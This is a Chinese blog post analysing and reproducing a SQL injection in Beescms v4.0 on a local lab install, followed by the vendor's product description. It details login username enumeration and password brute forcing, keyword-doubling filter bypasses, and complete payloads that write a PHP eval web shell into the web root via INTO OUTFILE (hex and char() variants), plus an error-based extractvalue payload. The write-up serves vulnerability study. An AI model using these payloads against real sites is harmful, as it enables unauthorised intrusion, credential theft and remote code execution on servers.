4.0.13 mysql 注入_Beescms_v4.0 sql注入漏洞分析

本文详细分析了Beescms_v4.0的SQL注入漏洞,包括漏洞描述、环境搭建、影响版本、漏洞复现过程以及两种绕过过滤写入shell的方法,涉及union select、outfile、into等关键字的bypass技巧。
摘要由CSDN通过智能技术生成

Beescms_v4.0 sql注入漏洞分析

一、漏洞描述

Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入。

二、漏洞环境搭建

1、官方下载Beescms v4.0,下载地址: http://beescms.com/cxxz.html

2、解压压缩文件,然后把文件放到phpstudy的网站根目录

3、浏览器访问http://192.168.10.171/beescms/install,开始安装

b245125d5fe4fbdac919bfc792eb3e3a.png

4、一直下一步,出现如下界面,输入数据库账户密码

a4d62034dbc7a61211dd312977d79c95.png

5、成功安装

93ae9bd375d9d28752b5a0f09f5fbd47.png

6、修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。

bf962f43b83a089feed68f32468c68ad.png

三、漏洞影响版本

Beescms v4.0

四、漏洞复现

1、浏览器访问后台页面http://192.168.10.171/beescms/admin/

ccbdb60cea2cdb33249f537f4ec6c434.png

2、任意输入用户名和密码,看到提示“不存在该管理用户”,可以枚举用户名,然后根据枚举出来的用户名爆破密码

95c15af4e8747655a25cf7374c548fad.png

13c0c8ff1ca624912d1fa7bf48fdae61.png

3、burpsuit枚举用户名,可以看到该验证码存在设计缺陷漏洞,一次验证后在不刷新的情况下可以多次提交请求,最终导致攻击者可以进行模糊测试(暴力枚举)。

d7247b1e54dbe29de89a5ee063f313a4.png

4、根据枚举出来的用户名,然后枚举密码,可以看到成功枚举密码

f0c1507a62a13c1f17ea24a4eb250df5.png

5、在用户名处输入单引号,报错,说明存在sql注入漏洞

5c1e68ff0e1b72cfee5ee6685e2a9011.png

2a2bd7c3395efbe438d9f8d3e17ecbf7.png

6、查看源码,发现使用f1_value函数和f1_html函数对输入的用户名和密码进行过滤

4b88b35af9b1ffa740cb5494502f4ce1.png

7、跟进f1_value函数,发现f1_value函数对输入的关键字进行了过滤,可以看到,几乎常见的SQL关键字都被过滤掉了。

b5665f651d70bf14b674069508d663b4.png

8、跟进f1_html函数,发现使用htmlspecialchars函数对输入的特殊符号进行html实体化转义,主要用于防御XSS漏洞

653703ef27ae4212edf1d854cb1ec9d3.png

9、百度搜索htmlspecialchars函数,发现htmlspecialchars函数默认情况下只对双引号进行编码,可以看到这个版本的cms使用默认对参数进行过滤处理,此处存在单引号引入的漏洞。

69059a2b721a7bad8ea83620ed399716.png

10、继续浏览代码,发现登录验证函数check_login

09947491b33767729d4bc243f1619edd.png

11、跟进check_login函数,发现check_login函数在验证用户是先验证用户名,然后验证密码是否正确,该处验证逻辑存在漏洞。

52a73820187b5932421a261ac9021c58.png

12、手工模糊测试

12.1手工测试发现union select等关键字被过滤

45215ed7fbce0e7fa630d6fec6c45c0c.png

12.2通过上面的分析源码,发现bypass的方法

union => uni union on

select => selselectect

2321eb83c0f9fa846c0e8600c8742c17.png

12.3、猜解SQL查询语句中的字段数,根据如下图所示,判断出SQL查询语句中的字段数为5

b2321a381cec2cccf94343cc062092e1.png

12.4、尝试通过SQL注入getshell

12.4.1、写入一句话到目标网站根目录下,payload如下:

admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[cmd]);?> into  outfile 'C:/phpStudy/WWW/beescms/shell.php'#

12.4.2、在burpsuit抓包,修改包并重放,提示如下错误,根据返回的数据包可以看到由于htmlspecialchars函数对输入的特殊符号进行html实体化转义,还有就是into、outfile关键字被过滤

c60bf6450c803c6fc8c75401a68af410.png

12.4.3、手工测试bypass关键字过滤防护

outfile => outoutfilefile

into => in into

e7d5bbdd97dc4e375fc6ee1f11762c8f.png

12.4.4、通过上面的分析,发现php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。

方法一、Hex编码

1、 对shell部分进行编码

b47a2597ae025e1f672d4bfebeb19f13.png

2、 写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数

unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e),但是本次实验用unhex函数一直失败

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#

3、burp修改数据包,成功写入shell

efd8be681131ed1f72df44b6cd88fc95.png

4、菜刀连接

ed6818167e8da47cd04d84c500cbbce9.png

方法二、使用char函数

1、mysql内置函数char()可以将里边的ascii码参数转换为字符串,使用python实现快速转换

9ed2b7fdb837615f601e96accc013a80.png

2、构造payload,payload为:

admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62)  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

3、burp修改数据包,成功写入shell

e7f5a60a57dfe1ea9f8a87c3b1e36a5f.png

4、菜刀连接

e41b1dec914bf77d86e142257a088aa8.png

后记:

1、经过测试,发现user字段除了存在布尔注入,还存在报错注入

2、构造payload,payload如下:

admin' a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#

764fd72cd45e7e43dc0186be3f31f015.png

---------------------------------------------------------------------------

BEESCMS企业网站管理系统拥有简单方便的模板标签,能够快速做出模板;自定义表单,自定义模型,内置新闻、下载、产品、招聘、单页模型;SEO功 能,每个页面都可以单独SEO优化;多语言,多风格,每种语言每个页面都可以定义风格;html静态页面生成功能;BEES还可以自定义flash引导页。BEES企业网站管理系统是一个基于PHP Mysql架构的企业网站管理系统。BEES采用模块化方式开发,功能强大灵活易于扩展,并且完全开放源代码,多种语言分站,为企业网站建设和外贸提供解决方案。 BEESCMS企业网站管理系统 3.4 更新内容:2014-04-09 修复:后台内容列表删除没反应的问题 程序:表单增加验证码 程序:默认增加一个反馈表单 程序:搜索功能更改为只搜索产品内容 模板:更改默认模板风格 主要特性: 文章/产品等多内容 拥有文章、产品、下载、招聘、订单等企业网站内容模型,同时还可以自定义内容模型。 在线QQ/旺旺等营销客服 可以添加企业QQ、淘宝、阿里巴巴、MSN等多种客服,采用分组管理,一次添加多次使用 多语言外贸/多语言内容同时发布 可以自定义多种语言,使用不同的风格,内容可以同时发布到企业网站各类语言中。 多图上传/图文发布 同时上传多张企业产品图片,分类管理图片,一次上传多次使用,可视化编辑,排版更容易。 seo优化/生成静态html页面 后台seo功能,可以优化到产品图片。全站生成html页面,并且可以自定义生成的页面名称 模板/友情链接/留言/反馈/会员等多系统 模板和程序完全分离,后台可以直接修改管理模板。多种内置系统完全满足企业需求。
BEESCMS企业网站管理系统拥有简单方便的模板标签,能够快速做出模板;自定义表单,自定义模型,内置新闻、下载、产品、招聘、单页模型;SEO功 能,每个页面都可以单独SEO优化;多语言,多风格,每种语言每个页面都可以定义风格;html静态页面生成功能;BEES还可以自定义flash引导页。 BEESCMS企业网站管理系统源码 v4.0 更新日志 修复:留言本内容截取问题; 程序:去除HTML生成,更改为伪静态; 程序:增加手机版本,标签、模板和电脑版一样; 程序:优化一部分后台功能; 模板:新增默认手机模板; 修复:其它一些BUG。 BEESCMS企业网站管理系统源码主要特性 1、支持多种语言 BEES支持多种语言,后台添加自动生成,可为每种语言分配网站风格。 2、功能强大灵活 BEES除内置的文章、产品等模型外,还可以自定义生成其它模型,满足不同的需求 3、自定义表单系统 BEES可自定义表单系统,后台按需要生成,将生成的标签加到模板中便可使用。 4、模板制作方便 采用MVC设计模式实现了程序与模板完全分离,分别适合美工和程序员使用。 5、用户体验好 前台、后台、会员中心模板都采用 DIV CSS,兼容 IE 和 Firefox 浏览器,访问速度快。 6、支持用户反馈信息 7、SEO优化 可设置网站SEO参数及所有页面SEO信息,如关键词、页面描述等; 可全站生成静态html页面 8、输出内容全部后台设置 BEESCMS企业网站管理系统源码截图 相关阅读 同类推荐:企业网站源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值